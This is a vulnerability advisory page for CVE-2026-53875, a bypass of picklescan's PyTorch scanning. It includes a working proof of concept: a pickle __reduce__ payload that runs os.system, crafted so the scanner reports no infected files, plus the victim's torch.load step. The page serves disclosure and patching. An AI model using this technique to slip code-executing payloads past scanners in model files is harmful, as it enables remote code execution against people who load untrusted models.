NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

CVE-2026-53875 — picklescan

Fix: mmaitre314/picklescan@1341794

CVE-2026-53875 is a CWE-95 vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.

picklescan - Scanning Bypass via Dynamic Eval in scan_pytorch

Also known asGHSA-97f8-7cmv-76j2PYSEC-2026-2873
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-53875.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs46th percentile — riskier than 46% of all scored CVEsHighest risk
0.00%0.40%0.79%1.19%0.4%0.6%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍picklescan

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.

PoC

Attack Step 1

we can edit the source code of the function _legacy_save() as follows:

    class payload:
        def __reduce__(self):
            return (eval, ('MAGIC_NUMBER',))

    pickle_module.dump(payload(), f, protocol=pickle_protocol)

Attack Step 2

with the modified version of PyTorch, we run the following PoC to generate the payload.pt:

import torch 

class payload:
    def __reduce__(self):
        return (__import__('os').system, ('touch /tmp/hacked',))

torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)

Picklescan result

ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0

Victim Step

import torch
torch.load('./payload.pt', weights_only=False)

then you can find the illegal file /tmp/hacked created in your local system.

Impact

Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpicklescanall versions1.0.3pip install --upgrade 'picklescan==1.0.3'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update picklescan to 1.0.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-53875 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary This is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch's implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this
O3 Security · Impact-Aware SCA

Is CVE-2026-53875 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-53875: picklescan RCE — Fixed in 1.0.3